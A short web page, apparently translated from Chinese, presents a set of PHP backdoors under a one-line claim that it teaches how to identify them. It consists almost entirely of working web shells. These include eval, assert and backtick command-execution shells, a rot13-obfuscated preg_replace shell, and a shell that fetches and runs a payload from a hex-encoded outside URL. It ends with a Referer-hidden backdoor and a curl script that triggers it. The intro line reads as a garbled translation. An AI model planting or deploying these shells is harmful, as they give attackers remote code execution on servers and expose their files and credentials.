PHP 기술을 확인하거나 죽이지 않고도 간단한 PHP 백도어를 식별하는 방법을 가르쳐줍니다.

<&#63;php @eval($_POST['cmd']);&#63;>

<&#63;php @assert($_POST['cmd']);&#63;>

<&#63;php
 
$c=urldecode($_GET['c']);if($c){`$c`;}//完整
 
!$_GET['c']||`{$_GET['c']}`;//精简
 
/*******************************************************
 * 原理：PHP中``符号包含会当作系统命令执行
 * 示例：http://host/&#63;c=type%20config.php>config.txt
 *    然后就可以下载config.txt查看内容了！
 *    可以试试更变态的命令，不要干坏事哦！
 *******************************************************/

<&#63;php 
preg_replace("/[errorpage]/e",@str_rot13('@nffreg($_CBFG[cntr]);'),"saft"); 
&#63;> 

<&#63;php
error_reporting(0);
session_start();
header("Content-type:text/html;charset=utf-8");if(empty($_SESSION['api']))
$_SESSION['api']=substr(file_get_contents(
sprintf('%s&#63;%s',pack("H*",
'687474703a2f2f377368656c6c2e676f6f676c65636f64652e636f6d2f73766e2f6d616b652e6a7067′),uniqid())),3649);
@preg_replace("~(.*)~ies",gzuncompress($_SESSION['api']),null);
&#63;>

   <&#63;php 
session_start(); 
$_POST [ 'code' ] && $_SESSION [ 'theCode' ] = trim( $_POST [ 'code' ]); 
$_SESSION [ 'theCode' ]&&preg_replace( '\'a\'eis' , 'e' . 'v' . 'a' . 'l' . '(base64_decode($_SESSION[\'theCode\']))' , 'a' ); 
&#63;>
 

<&#63;php $_GET [a]( $_GET [b]);&#63;>

 <&#63;php 
//1.php 
header( 'Content-type:text/html;charset=utf-8' ); 
parse_str ( $_SERVER [ 'HTTP_REFERER' ], $a ); 
if (reset( $a ) == '10' && count ( $a ) == 9) { 
eval ( base64_decode ( str_replace ( " " , "+" , implode( array_slice ( $a , 6))))); 
} 

&#63;>

 <&#63;php 
//2.php 
header( 'Content-type:text/html;charset=utf-8' ); 
//要执行的代码 
$code = <<<CODE 
phpinfo(); 
CODE; 
//进行base64编码 
$code = base64_encode ( $code ); 
//构造referer字符串 
$referer = "a=10&b=ab&c=34&d=re&e=32&f=km&g={$code}&h=&i=" ; 
//后门url 
$url = 'http://localhost/test1/1.php ' ; 
$ch = curl_init(); 
$options = array ( 
CURLOPT_URL => $url , 
CURLOPT_HEADER => FALSE, 
CURLOPT_RETURNTRANSFER => TRUE, 
CURLOPT_REFERER => $referer
); 
curl_setopt_array( $ch , $options ); 
echocurl_exec( $ch ); 

&#63;>